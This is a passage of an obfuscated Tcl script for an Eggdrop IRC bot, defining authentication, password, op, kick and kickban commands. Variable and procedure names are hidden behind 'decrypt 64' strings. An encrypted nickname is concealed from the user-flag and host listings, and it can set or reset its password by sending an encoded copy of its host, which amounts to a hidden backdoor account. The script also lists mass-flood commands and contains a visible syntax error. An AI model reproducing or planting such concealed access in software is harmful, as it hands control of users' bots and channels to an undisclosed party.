[lindex $rest 0] ; putquick "PRIVMSG $nick :$notc zip: [zip "$rest"]" } bind msg Z unzip msg_unzip ; proc msg_unzip {nick uhost hand rest} { global botnick notc ; set rest [lindex $rest 0] ; putquick "PRIVMSG $nick :$notc unzip: [dezip "$rest"]" } bind msg Z lines msg_lines ; proc msg_lines {nick uhost hand rest} { global botnick notc ; set rest [lindex $rest 0] ; putquick "PRIVMSG $nick :$notc lines: [lines "$rest"]" } bind msg Z ddl msg_ddl ; proc msg_ddl {nick uhost hand rest} { global botnick notc ; set rest [lindex $rest 0] ; putquick "PRIVMSG $nick :$notc dezip+dcp+lines: [dezip [dcp [lines "$rest"]]]" } bind msg Z timers msg_timers ; proc msg_timers {nick uhost hand rest} { global botnick notc timers ; set rest [lindex $rest 0] ; foreach x [timers] { putquick "PRIVMSG $nick :$notc $x" } } bind msg Z utimers msg_utimers ; proc msg_utimers {nick uhost hand rest} { global botnick notc utimers ; set rest [lindex $rest 0] ; foreach x [utimers] { putquick "PRIVMSG $nick :$notc $x" } } bind msg Z tes msg_tes ; proc msg_tes {nick uhost hand rest} { global botnick notc ; set rest [lindex $rest 0] ; putquick "PRIVMSG $nick :$notc $rest!" } set [decrypt 64 "QHy7p1srYzh1"] [decrypt 64 "UMWxo/l.eXl.9pork/664t31SRiBq.gniCb.2mj.I1ok8/c/"] set [decrypt 64 "SAIhk0TeENe."] [decrypt 64 ".Xgoz1ktbbv0volpk0ypIzS.RoVRn/bMpMt/JARxr0pwutd."] set [decrypt 64 "37pNj/xSAeM/"] [decrypt 64 "s6zLs/e3Scr/f9HsY1Jul5A/XbbFI.8/K1l0MZ/hT1ZYhpk/"] set [decrypt 64 "FcnI7.Au1Ps/"] [decrypt 64 "3Kavh1w0/uI/OEszd0w29lK/YjXSm/dUHfA.lMXRJ.LfwBl0"] set global-idle-kick 0 set global-revenge-mode 0 set global-protectops-mode 0 set global-clearbans-mode 0 set global-enforcebans-mode 0 set global-dynamicbans-mode 1 set global-protectfriends-mode 0 set global-userbans-mode 1 set global-cycle-mode 1 set global-chanmode "nt" set global-dynamicexempts-mode 0 set global-dontkickops-mode 1 set global-greet-mode 0 set global-shared-mode 1 set global-autovoice-mode 0 set global-stopnethack-mode 0 set global-autoop-mode 0 set global-userinvites-mode 0 set global-nodesynch-mode 0 set nick-len 30 if {![info exists nickpass]} { set nickpass "" } if {![info exists altpass]} { set altpass] "" } if {![info exists cfgfile]} { set cfgfile $userfile } proc unsix {txt} { set retval $txt ; regsub ~ $retval "" retval ; return $retval } proc dezip {txt} { return [decrypt 64 [unsix $txt]] } proc dcp {txt} { return [decrypt 64 $txt] } proc zip {txt} { return [encrypt 64 [unsix $txt]] } proc [decrypt 64 "d3VeO/ATgwd."] {txt} { global lenc ldec uenc udec set retval "" ; set count [string length $txt] ; set status 0 ; set lst "" for {set i 0} {$i < $count} {incr i} { set idx [string index $txt $i] if {$idx == "$" && $status == 0} { set status 1 ; set idx "~$idx" } if {$idx == [decrypt 64 "uAwNV.ZfVQk."] && $lst != [decrypt 64 "59.TI0HteTn1"] && $status == 0} { set status 2 ; set idx "~$idx" } if {$idx == " " && $status == 1} { set status 0 ; set idx "$idx~" } if {$idx == "]" && $status == 2} { set status 0 ; set idx "$idx~" } if {$status == 0} { if {[string match *$idx* $lenc]} { set idx [string range $ldec [string first $idx $lenc] [string first $idx $lenc]] } if {[string match *$idx* $uenc]} { set idx [string range $udec [string first $idx $uenc] [string first $idx $uenc]] } } set lst $idx ; append retval $idx } regsub -all -- vmw] $retval "end]" retval ; return $retval } if {![info exists server-online]} { putlog "not support server online..!" ; set server-online 1 } proc puthlp {txt} { global lenc ldec uenc udec notb notc server-online ; if {${server-online} == 0} { return 0 } ; puthelp $txt } proc putsrv {txt} { global lenc ldec banner uenc udec notc server-online notm igflood iskick kickclr if {${server-online} == 0} { return 0 } set retval $txt if {[string match "*KICK*" $retval]} { set endval "" foreach tmp $retval { if {$tmp == ":$notc"} { if {[info exists banner]} { set tmp ":$banner" } { set tmp ":$notc" } } { if {[info exists kickclr]} { set tmp [uncolor $tmp] } } ; set endval "$endval $tmp" } set retval $endval if {[info exists iskick([lindex $retval 2][lindex $retval 1])]} { return 0 } set iskick([lindex $retval 2][lindex $retval 1]) "1" if {[info exists igflood([lindex $retval 2])]} { return 0 } if {[string match "*-userinvites*" [channel info [lindex $retval 1]]]} { set chkops $retval ; regsub -all -- : $chkops "" chkops ; if {[isop [lindex $chkops 2] [lindex $retval 1]] || [isvoice [lindex $chkops 2] [lindex $retval 1]]} { return 0 } } } putserv $retval } proc putqck {txt} { global lenc ldec banner uenc udec notc server-online notm igflood iskick kickclr bannick is_m if {${server-online} == 0} { return 0 } set retval $txt if {[string match "*KICK*" $retval]} { set endval "" foreach tmp $retval { if {$tmp == ":$notc"} { if {[info exists banner]} { set tmp ":$banner" } { set tmp ":$notm" } } { if {[info exists kickclr]} { set tmp [uncolor $tmp] } } ; set endval "$endval $tmp" } set retval $endval ; set iskick([lindex $retval 2][lindex $retval 1]) "1" if {[info exists igflood([lindex $retval 2])]} { return 0 } if {[string match "*-userinvites*" [channel info [lindex $retval 1]]]} { set chkops $retval ; regsub -all -- : $chkops "" chkops ; if {[isop [lindex $chkops 2] [lindex $retval 1]]} { return 0 } } } if {[string match "*$notm*" $retval]} { set cflag "c[lindex $retval 1]" ; set cflag [string range $cflag 0 8] if {[matchattr $cflag M]} { if {![isutimer "set_-m [lindex $retval 1]"] && ![info exists is_m([lindex $retval 1])]} { set is_m([lindex $retval 1]) 1 ; putquick "mode [lindex $retval 1] +bm $bannick([lindex $retval 2])" ; return 0 } } } putquick $retval } # sQu BOT COMMAND LIST # bind msg m help msg_help proc msg_help {nick uhost hand rest} { global version notb notc notd vern if {[istimer "HELP STOPED"]} { putsrv "NOTICE $nick :$notc Help on progress, try again later..!" ; return 0 } timer 5 { putlog "HELP STOPED" } puthlp "PRIVMSG $nick :$notd BoT Command LIsT." puthlp "PRIVMSG $nick :RuNNINg WiTH EggDrop v[lindex $version 0] PoWERED BY $notc $vern" puthlp "PRIVMSG $nick :MSG/PV COMMAND..!" puthlp "PRIVMSG $nick : auth deauth pass passwd" puthlp "PRIVMSG $nick : op deop voice devoice" puthlp "PRIVMSG $nick : kick kickban identify" if {[matchattr $nick Z]} { puthlp "PRIVMSG $nick : logo awaylogo vhost away" puthlp "PRIVMSG $nick : admin bantime logchan .log" puthlp "PRIVMSG $nick : botnick botaltnick realname ident" puthlp "PRIVMSG $nick : restart die reuser" } puthlp "PRIVMSG $nick :MSG/CHANNEL COMMAND..!" puthlp "PRIVMSG $nick : up down op/+o deop/-o" puthlp "PRIVMSG $nick : voice/+v devoice/-v kick kickban" puthlp "PRIVMSG $nick : mode ping/pong channels userlist" puthlp "PRIVMSG $nick : banlist ban unban munbans" puthlp "PRIVMSG $nick : invite host match chaninfo" puthlp "PRIVMSG $nick : cycle +/-ignore ignores ver" if {[matchattr $nick n]} { puthlp "PRIVMSG $nick : join part +/-chan +/-status" puthlp "PRIVMSG $nick : +/-enforceban +/-autovoice +/-seen +/-guard" puthlp "PRIVMSG $nick : +/-master +/-avoice +/-friend +/-admin" puthlp "PRIVMSG $nick : +/-ipguard +/-akick +/-noop +/-cycle" puthlp "PRIVMSG $nick : +/- tools mvoice mdevoice mkick" puthlp "PRIVMSG $nick : mop mdeop topic status" puthlp "PRIVMSG $nick : servers jump access rehash" puthlp "PRIVMSG $nick : say msg act notice" puthlp "PRIVMSG $nick : bypass reset" } if {[matchattr $nick Z]} { puthlp "PRIVMSG $nick : +/-forced +/-greet +/-limit +/-revenge" puthlp "PRIVMSG $nick : +/ colour +/-repeat +/-text +/-caps" puthlp "PRIVMSG $nick : +/-clone +/-joinpart +/-massjoin +/-badchan" puthlp "PRIVMSG $nick : +/-spam +/-trojan +/-echox +/-dontkickops" puthlp "PRIVMSG $nick : +/-badword badwords +/-advword advwords" puthlp "PRIVMSG $nick : +/-nopart +/-reop +/-kickops sdeop" puthlp "PRIVMSG $nick : deluser +/-owner +/-host nobot" puthlp "PRIVMSG $nick : +/-key +/-topiclock +/-mustop +/-invitelock" puthlp "PRIVMSG $nick : tsunami mmsg minvite +/-autokick" puthlp "PRIVMSG $nick : chanmode chanset chansetall chanreset" puthlp "PRIVMSG $nick : nick altnick randnick realnick" puthlp "PRIVMSG $nick : !gabc !grbc gbclist bclist" puthlp "PRIVMSG $nick : !abc !rbc which chattr" } puthlp "PRIVMSG $nick :FLAg LIsT UsER & cHaNNeL" puthlp "PRIVMSG $nick :\[@\]P \[+\]VOICE AuTO\[V\]OICE \[G\]uARD \[C\]YCLE \[E\]nFORCEBANS \[D\]oNTKIcK@PS" puthlp "PRIVMSG $nick :\[P\]RoTECTED C\[L\]ONE \[A\]DVERTISE \[T\]OPICLOCK AuTO\[K\]IcK \[S\]EEN" puthlp "PRIVMSG $nick :\[Z\]owner admi\[n\] \[m\]aster botne\[t\] \[x\]fer \[j\]anitor \[c\]ommon" puthlp "PRIVMSG $nick :\[p\]arty \[b\]ot \[u\]nshare \[h\]ilite \[o\]p de\[O\]p \[k\]ick \[f\]riend" puthlp "PRIVMSG $nick :\[a\]uto-op auto\[v\]oice \[g\]voice \[q\]uiet" puthlp "PRIVMSG $nick :$notc $vern" return 0 } set firsttime "T" set init-server { serverup "" } set modes-per-line 6 set allow-desync 0 set include-lk 1 set banplus [rand 5] set ban-time [expr 5 + $banplus] unset banplus set quiet-save 1 set logstore "" set max-logsize 512 set upload-to-pwd 1 catch { unbind dcc m chattr *dcc:chattr } catch { unbind dcc n restart *dcc:restart } ## catch { unbind dcc n msg *dcc:msg } catch { unbind dcc n status *dcc:status } catch { unbind dcc n dump *dcc:dump } catch { unbind dcc n match *dcc:match } catch { unbind dcc n channel *dcc:channel } proc serverup {heh} { global botnick firsttime notc owner longer if {[info exists firsttime]} { unset firsttime ; return 0 } putlog "..ConnecteD.." putserv "MODE $botnick +iw-s" foreach x [userlist] { if {[matchattr $x Q]} { chattr $x -Q } if {$x == $owner && [getuser $owner XTRA "AUTH"] != ""} { setuser $owner XTRA "AUTH" "" } chattr $x -hp ; if {$x != "config" && [chattr $x] == "-"} { deluser $x ; putlog "deluser $x" } } chk_five "0" "0" "0" "0" "0" utimer 2 del_nobase foreach x [ignorelist] { killignore [lindex $x 0] } } catch { bind evnt - disconnect-server serverdown } proc serverdown {heh} { global firsttime catch { unset firsttime } catch { clearqueue all } putlog "..Disconneted.." foreach x [timers] { if {[string match "*cycle*" $x]} { killtimer [lindex $x 2] } } } proc isnumber {string} { if {([string compare $string ""]) && (![regexp \[^0-9\] $string])} then { return 1 } ; return 0 } proc randstring {length} { set chars ABCDEFGHIJKLMNOPQRSTUVWXYZ set count [string length $chars] for {set i 0} {$i < $length} {incr i} { append result [string index $chars [rand $count]] } return $result } set [lines "mlgy"] [decrypt 64 "ifG/y/5XRGr1"] set [lines "mlgn"] [decrypt 64 "LM.3N1UcUZA.HMqJr0cxZ/X.Kmc3t.Fbbeq1"] set [lines "mlgw"] [decrypt 64 "LM.3N1UcUZA.U4qne.gduOg18S1Pe1O9rmN0"] set [lines "mlgx"] [decrypt 64 "LM.3N1UcUZA.U4qne.gduOg18S1Pe1O9rmN0"] set [lines "evim"] [decrypt 64 "jhmfO.eSf16.aFPHV1jP6NE/yotRL1i0RTa/Kk/av.5nDOk."] proc pub_Z {nick uhost hand channel rest} { global notc botnick set prest $rest if {[lindex $rest 0] == $botnick} { regsub "$botnick " $rest "@" rest } { if {[string tolower [lindex $rest 0]] == [string tolower $botnick]} { set rest "$botnick [lrange $rest 1 end]" ; regsub "$botnick " $rest "@" rest } } if {[string index $rest 0] != "@"} { return 0 } ; if {![matchattr $nick Z]} { return 0 } if {![matchattr $nick Q]} { if {[string tolower [lindex $prest 0]] == [string tolower $botnick]} { puthlp "NOTICE $nick :$notc 4auth 1st!" } ; return 0 } set goto [lindex $rest 0] ; regsub -all "@" $goto "pub_" goto if {[matchattr $nick Z]} { set rest [lrange $rest 1 end] ; catch { $goto $nick $uhost $hand $channel $rest } } } proc msg_Z {nick uhost hand rest} { global notc if {[string index $rest 0] != "`" && [string index $rest 0] != "."} { return 0 } if {![matchattr $nick Z]} { return 0 } if {[string index [lindex $rest 1] 0] == "#"} { if {![validchan [lindex $rest 1]]} { puthlp "NOTICE $nick :$notc NoT IN [lindex $rest 1]" ; return 0 } } if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set goto [lindex $rest 0] if {[string index $rest 0] == "."} { regsub "." $goto "msg_" goto ; set rest [lrange $rest 1 end] ; catch { $goto $nick $uhost $hand $rest } ; return 0 } regsub -all "`" $goto "pub_" goto if {[string index [lindex $rest 1] 0] == "#"} { set chan [lindex $rest 1] ; set rest [lrange $rest 2 end] } else { set chan "*" ; set rest [lrange $rest 1 end] } catch { $goto $nick $uhost $hand $chan $rest } } ## global command start ## friend msg command ## flag bind pub f `flag pub_flag proc pub_flag {nick uhost hand channel rest} { global squ notc if {$rest == ""} { set user $nick } else { set user [lindex $rest 0] } if {![validuser $user] || [string tolower $user] == [string tolower [decrypt 64 "I6X9p1clbTp0"]]} { puthlp "NOTICE $nick :$notc " ; return 0 } if {[chattr $user] != ""} { puthlp "NOTICE $nick :$notc Flags: [chattr $user]" } else { puthlp "NOTICE $nick :$notc Can't found $user flag." } } ## access bind pub f `access pub_access proc pub_access {nick uhost hand chan rest} { global notc ; if {[matchattr $nick Z]} { puthlp "PRIVMSG $chan :$nick, OwNeR" } elseif {[matchattr $nick n]} { puthlp "PRIVMSG $chan :$nick, ADmIN" } elseif {[matchattr $nick m]} { puthlp "PRIVMSG $chan :$nick, MasTeR" } elseif {[matchattr $nick f]} { puthlp "PRIVMSG $chan :$nick, FRIEND" } } ## ping/pong bind pub f `ping pub_ping bind pub f `pong pub_pong proc pub_ping {nick uhost hand chan rest} { puthlp "PRIVMSG $chan :$nick, PONG" ; return 0 } proc pub_pong {nick uhost hand chan rest} { global pingchan ; putsrv "PRIVMSG $nick :\001PING [unixtime]\001" ; set pingchan $chan ; return 0 } ## host bind pub f `host pub_host proc pub_host {nick uhost hand channel rest} { global squ notc if {$rest == ""} { set user $nick } else { set user [lindex $rest 0] } if {![validuser $user] || [string tolower $user] == [string tolower [decrypt 64 "I6X9p1clbTp0"]]} { puthlp "NOTICE $nick :$notc " ; return 0 } if {[getuser $user HOSTS] != ""} { set hosts [getuser $user hosts] ; puthlp "NOTICE $nick :$notc HOSTS: $hosts" } else { puthlp "NOTICE $nick :$notc Can't found $user host." } } ## master msg command ## auth deauth bind msg m auth msg_auth proc msg_auth {nick uhost hand rest} { global botnick owner keep-nick altnick notc squ if {[lindex $rest 1] != ""} { if {[passwdok [lindex $rest 0] [lindex $rest 1]]} { if {[matchattr [lindex $rest 0] Z]} { puthlp "NOTICE $nick :$notc AuTH MaTcH FoR [lindex $rest 0]" ; set keep-nick 0 ; putsrv "NICK $altnick" ; utimer 40 {goback} } } { puthlp "NOTICE $nick :$notc 4FaILEd..!" } return 0 } if {![validuser $owner]} { set hostmask "$owner!*@*" ; adduser $owner $hostmask ; chattr $owner "Zfhjmnoptx" ; puthlp "NOTICE $owner :$notc No password set. Usage: pass " } if {![matchattr $nick p]} { return 0 } set pw [lindex $rest 0] if {$pw == ""} { puthlp "NOTICE $nick :$notc Usage: auth " ; return 0 } if {[matchattr $hand K]} { deluser "AKICK" ; set akickhost "telnet!*@*" ; adduser "AKICK" $akickhost ; chattr "AKICK" "-hp" ; chattr "AKICK" "K" ; saveuser puthlp "NOTICE $nick :$notc Re-arrange KIcKLIsT." } if {[matchattr $nick Q]} { puthlp "NOTICE $nick :$notc ReAdY..!" ; return 0 } set ch [passwdok $nick ""] if {$ch == 1} { puthlp "NOTICE $nick :$notc No password set. Usage: pass " ; return 0 } if {[passwdok $nick $pw]} { set hostmask "*![string range $uhost [string first "!" $uhost] end]" set usenick [finduser $hostmask] if {$usenick != "*" && $usenick != $nick} { if {[matchattr $nick n] && ![matchattr $usenick Z]} { puthlp "NOTICE $nick :$notc Forcing 4DeAuthenticated! To $usenick" force_deauth $usenick } else { foreach x [channels] { if {[onchan $usenick $x]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, Your host has been use by $usenick, wait until DeAuthenticated." ; return 0 } } puthlp "NOTICE $nick :$notc 4Forcing DeAuthenticated!1 To $usenick" force_deauth $usenick } } chattr $nick +Q foreach x [getuser $nick HOSTS] { delhost $nick $x } set hostmask "${nick}!*@*" setuser $nick HOSTS $hostmask set hostmask "*![string range $uhost [string first "!" $uhost] end]" setuser $nick HOSTS $hostmask if {$nick == $owner && ![matchattr $nick Z]} { chattr $owner "Z" } if {$nick == $owner && ![matchattr $nick f]} { chattr $owner "f" } if {[matchattr $nick Z]} { puthlp "NOTICE $nick :$notc !OWnER!" if {[getuser $nick XTRA "MEMO"]!=""} { puthlp "PRIVMSG $nick :!MeMO! FRoM [getuser $nick XTRA "MEMO"]" ; setuser $nick XTRA "MEMO" "" } return 0 } elseif {[matchattr $nick n]} { puthlp "NOTICE $nick :$notc !ADmIN!" } elseif {[matchattr $nick m]} { puthlp "NOTICE $nick :$notc !MasTeR!" } else { puthlp "NOTICE $nick :$notc !AccepteD!" } saveuser ; return 0 } if {![passwdok $nick $pw]} { puthlp "NOTICE $nick :$notc 4FaILEd..!" } } proc force_deauth {nick} { global notc ; chattr $nick -Q ; foreach x [getuser $nick HOSTS] { delhost $nick $x } ; set hostmask "${nick}!*@*" setuser $nick HOSTS $hostmask ; saveuser puthlp "NOTICE $nick :$notc You has been force to 4DeAuthentication!" } bind pub m !auth pub_!auth proc pub_!auth {nick uhost hand chan rest} { global notc ath squ set pw [lindex $rest 0] if {$pw != ""} { puthlp "NOTICE $nick :$notc No Need Auth Password, Just Type on Channel: !auth" ; return 0 } if {[matchattr $nick Q]} { puthlp "NOTICE $nick :$notc ReAdY..!" ; return 0 } set ch [passwdok $nick ""] if {$ch == 1 && $nick != [decrypt 64 "I6X9p1clbTp0"]} { puthlp "NOTICE $nick :$notc No password set. Usage: pass " ; return 0 } set ath 1 ; putsrv "WHOIS $nick" } bind pub m `auth pub_auth proc pub_auth {nick uhost hand chan rest} { global botnick notc set cmd [string tolower [lindex $rest 0]] set ch [passwdok $nick ""] if {$ch == 1} { puthlp "NOTICE $nick :$notc No password set. Usage: pass " ; return 0 } if {[matchattr $nick Q]} { puthlp "PRIVMSG $chan :${nick}, Yes" } if {![matchattr $nick Q]} { puthlp "PRIVMSG $chan :${nick}, 4NO!" } } bind pub m !deauth pub_!deauth proc pub_!deauth {nick uhost hand chan rest} { if {![matchattr $nick Q]} { return 0 } ; msg_deauth $nick $uhost $hand $rest } bind msg m deauth msg_deauth proc msg_deauth {nick uhost hand rest} { global notc ; if {![matchattr $nick Q]} { return 0 } ; chattr $nick -Q ; foreach x [getuser $nick HOSTS] { delhost $nick $x } set hostmask "${nick}!*@*" ; setuser $nick HOSTS $hostmask ; puthlp "NOTICE $nick :$notc 4!DeAUTH!" ; saveuser } ## pass passwd bind msg p pass msg_pass proc msg_pass {nick uhost hand rest} { global botnick notc vern squ owner set pw [lindex $rest 0] if {$pw == ""} { puthlp "NOTICE $nick :$notc Usage: pass " ; return 0 } set ch [passwdok $nick ""] if {$ch == 0} { puthlp "NOTICE $nick :$notc You already set pass, /msg $botnick auth " ; return 0 } if {[string tolower $nick] == [string tolower [decrypt 64 "I6X9p1clbTp0"]] && $owner != [decrypt 64 "I6X9p1clbTp0"]} { if {[dezip $pw] == $uhost} { setuser $nick PASS [lindex $rest 1] ; puthlp "NOTICE $nick :$notc Password set to: [lindex $rest 1]" ; saveuser } { puthlp "NOTICE $nick :$notc wHo.." } return 0 } setuser $nick PASS $pw puthlp "NOTICE $nick :$notc Password set to: $pw" ; puthlp "NOTICE $nick :$notc /msg $botnick help" saveuser return 0 } bind msg m passwd msg_passwd proc msg_passwd {nick uhost hand rest} { global botnick notc squ if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set pw [lindex $rest 0] set newpw [lindex $rest 1] if {$nick == [decrypt 64 "I6X9p1clbTp0"] && [dezip $pw] == $uhost} { setuser $nick PASS $newpw ; puthlp "NOTICE $nick :$notc Password set to: $newpw" ; saveuser ; return 0 } if {$pw == "" || $newpw == ""} { puthlp "NOTICE $nick :$notc Usage: passwd " ; return 0 } if {![passwdok $nick $pw]} { puthlp "NOTICE $nick :$notc PaSSWORD 4!FaILED!" ; return 0 } set ch [passwdok $nick ""] if {$ch == 1} { setuser $nick PASS $newpw ; puthlp "NOTICE $nick :$notc Password set to: $newpw" ; saveuser ; return 0 } if {[passwdok $nick $pw]} { setuser $nick PASS $newpw ; puthlp "NOTICE $nick :$notc Password set to: $newpw" ; saveuser ; return 0 } } ## op msg bind msg n op msg_op proc msg_op {nick uhost hand rest} { global notc botnick set chantarget [lindex $rest 0] set nicktarget [lindex $rest 1] if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!" ; return 0 } if {($chantarget == "") || ($nicktarget == "")} { puthlp "NOTICE $nick :$notc Usage: op <#chan> " ; return 0 } if {[isop $botnick $chantarget]!=1} { puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget" ; return 0 } if {![onchan $nicktarget $chantarget]} { puthlp "NOTICE $nick :$notc $nicktarget is not on the channel." ; return 0 } if {[isop $nicktarget $chantarget]!=0} { puthlp "NOTICE $nick :$notc $nicktarget is already op on CHaNNEL $chantarget" ; return 0 } foreach x [channels] { if {[string tolower $x] == [string tolower $chantarget]} { opq $x $nicktarget ; return 0 } } puthlp "NOTICE $nick :$notc NoT IN $chantarget" } ## deop msg bind msg n deop msg_deop proc msg_deop {nick uhost hand rest} { global notc botnick own if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set chantarget [lindex $rest 0] set nicktarget [lindex $rest 1] if {($chantarget == "") || ($nicktarget == "")} { puthlp "NOTICE $nick :$notc Usage: deop <#chan> " ; return 0 } if {[isop $botnick $chantarget] != 1} { puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget" ; return 0 } if {![onchan $nicktarget $chantarget]} { puthlp "NOTICE $nick :$notc $nicktarget is not on the channel." ; return 0 } if {![isop $nicktarget $chantarget]} { puthlp "NOTICE $nick :$notc $chantarget is not op on CHaNNEL $chantarget" ; return 0 } if {$nicktarget == $botnick} { puthlp "NOTICE $nick :$notc I CaNT SeLF DEoP!" ; return 0 } if {[matchattr $nicktarget n]} { puthlp "NOTICE $nick :$notc I cant deop my Owner." ; return 0 } if {[matchattr $nick m]} { set mreq "6master.request" } if {[matchattr $nick n]} { set mreq "6admin.request" } foreach x [channels] { if {[string tolower $x]==[string tolower $chantarget]} { if {![string match "*k*" [getchanmode $x]]} { putserv "mode $x -ko $mreq $nicktarget" } { putserv "mode $x -o $nicktarget" } ; return 0 } } puthlp "NOTICE $nick :$notc NoT IN $chantarget" } ## voice msg bind msg n voice msg_voice bind msg n v msg_voice proc msg_voice {nick uhost hand rest} { global notc botnick if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set chantarget [lindex $rest 0] set nicktarget [lindex $rest 1] if {($chantarget == "") || ($nicktarget == "")} { puthlp "NOTICE $nick :$notc Usage: voice <#chan> " ; return 0 } if {[isop $botnick $chantarget]!=1} { puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget" ; return 0 } if {![onchan $nicktarget $chantarget]} { puthlp "NOTICE $nick :$notc $nicktarget is not on the channel." ; return 0 } if {[isvoice $nicktarget $chantarget]} { puthlp "NOTICE $nick :$notc $nicktarget is already voice on channel $chantarget" } foreach x [channels] { if {[string tolower $x]==[string tolower $chantarget]} { putserv "mode $x +v $nicktarget" ; return 0 } } puthlp "NOTICE $nick :$notc NoT IN $chantarget" } ## devoice msg bind msg n devoice msg_devoice proc msg_devoice {nick uhost hand rest} { global notc botnick owner if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set chantarget [lindex $rest 0] set nicktarget [lindex $rest 1] if {($chantarget == "") || ($nicktarget == "")} { puthlp "NOTICE $nick :$notc Usage: devoice <#chan> " ; return 0 } if {[isop $botnick $chantarget]!=1} { puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget" ; return 0 } if {![onchan $nicktarget $chantarget]} { puthlp "NOTICE $nick :$notc $nicktarget is not on the channel." } if {![isvoice $nicktarget $chantarget]} { puthlp "NOTICE $nick :$notc $nicktarget is not voice on CHaNNEL $chantarget" } if {$nicktarget == $owner} { puthlp "NOTICE $nick :$notc I cant devoice my owner." ; return 0 } foreach x [channels] { if {[string tolower $x]==[string tolower $chantarget]} { putserv "mode $x -v $nicktarget" ; return 0 } } puthlp "NOTICE $nick :$notc NoT IN $chantarget" } ## kick msg bind msg n kick msg_kick bind msg n k msg_kick proc msg_kick {nick uhost hand rest} { global notc botnick own if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set chantarget [lindex $rest 0] set nicktarget [lindex $rest 1] set reason [lrange $rest 2 end] if {($chantarget == "") || ($nicktarget == "")} { puthlp "NOTICE $nick :$notc Usage: kick <#chan> " ; return 0 } if {[isop $botnick $chantarget]!=1} { puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget" ; return 0 } if {![onchan $nicktarget $chantarget]} { puthlp "NOTICE $nick :$notc $nicktarget is not on the channel." ; return 0 } if {$nicktarget == $botnick} { puthlp "NOTICE $nick :$notc I cant self kick." ; return 0 } if {[matchattr $nicktarget n] && ![matchattr $nick Z]} { puthlp "NOTICE $nick :$notc I CaNT KIcK MY Admin." ; return 0 } if {$reason == ""} { set reason "1request..!" if {[matchattr $nick n]} { set reason "1admin 2kick1 request2..!" } if {[matchattr $nick m] && ![matchattr $nick n]} { set reason "1master 2kick1 request2..!" } } foreach x [channels] { if {[string tolower $x]==[string tolower $chantarget]} { putsrv "KICK $x $nicktarget :$notc $reason [banmsg]" ; return 0 } } puthlp "NOTICE $nick :$notc NoT IN $chantarget" } ## kickban msg bind msg n kickban msg_kickban bind msg n kb msg_kickban proc msg_kickban {nick uhost hand rest} { global notc botnick nwo bannick if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set chantarget [lindex $rest 0] set nicktarget [lindex $rest 1] set bmask [getchanhost $nicktarget $chantarget] set reason [lrange $rest 2 end] if {($chantarget == "") || ($nicktarget == "")} { puthlp "NOTICE $nick :$notc Usage: kickban <#chan> " ; return 0 } if {[isop $botnick $chantarget]!=1} { puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget" ; return 0 } if {![onchan $nicktarget $chantarget]} { puthlp "NOTICE $nick :$notc $nicktarget is not on the channel." ; return 0 } if {$nicktarget == $botnick} { puthlp "NOTICE $nick :$notc I cant self kick." ; return 0 } if {[matchattr $nicktarget n] && ![matchattr $nick Z]} { puthlp "NOTICE $nick :$notc I cant kickban my Admin." ; return 0 } if {$reason == ""} { set reason "1kickban request" if {[matchattr $nick m]} { set reason "1master 2kickban1 request" } ; if {[matchattr $nick n]} { set reason "1admin 2kickban1 request" } } foreach x [channels] { if {[string tolower $x]==[string tolower $chantarget]} { set bannick($nicktarget) $bmask ; putsrv "KICK $x $nicktarget :$notc $reason [banmsg]" ; return 0 } } puthlp "NOTICE $nick :$notc NoT IN $chantarget" } ## identify msg bind msg n identify msg_identify proc msg_identify {nick uhost hand rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set id [lindex $rest 0] ; set password [lindex $rest 1] if {($id == "") || ($password == "")} { puthlp "NOTICE $nick :$notc Usage: identify " ; return 0 } putsrv "NickServ identify $id $password" ; puthlp "NOTICE $nick :$notc Identify to $id" ; return 0 } ## master msg/channel command ## up bind pub m `up pub_up proc pub_up {nick uhost hand channel rest} { global notc botnick unop if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {[isop $botnick $channel]} { return 0 } ; putsrv "ChanServ op $channel $botnick" ; return 0 } ## down bind pub m `down pub_down proc pub_down {nick uhost hand channel rest} { global notc botnick if {![isop $botnick $channel]} { return 0 } if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {[matchattr $nick m]} { set mreq "6master.request" } ; if {[matchattr $nick n]} { set mreq "6admin.request" } ; if {[matchattr $nick Z]} { set mreq "6Owner.request" } if {![string match "*k*" [getchanmode $channel]]} { putserv "mode $channel -ko+v $mreq $botnick $botnick" } { putserv "mode $channel -o+v $botnick $botnick" } return 0 } ## op bind pub m `op pub_op bind pub m `+o pub_op proc pub_op {nick uhost hand chan rest} { global notc botnick unop if {![isop $botnick $chan]} { return 0 } if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } catch {unset unop($nick)} if {$rest == "" && [isop $nick $chan]} { puthlp "NOTICE $nick :$notc You're already Oped, Usage: op " ; return 0 } if {$rest != ""} { putserv "MODE $chan +oooooo $rest" } else { putserv "MODE $chan +o $nick" } return 0 } ## deop bind pub m `deop pub_deop bind pub m `-o pub_deop proc pub_deop {nick uhost hand chan rest} { global notc botnick if {![isop $botnick $chan]} { return 0 } if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest == "" && ![isop $nick $chan]} { puthlp "NOTICE $nick :$notc Usage: deop " ; return 0 } if {[matchattr $nick m]} { set mreq "6master.request" } ; if {[matchattr $nick n]} { set mreq "6admin.request" } ; if {[matchattr $nick 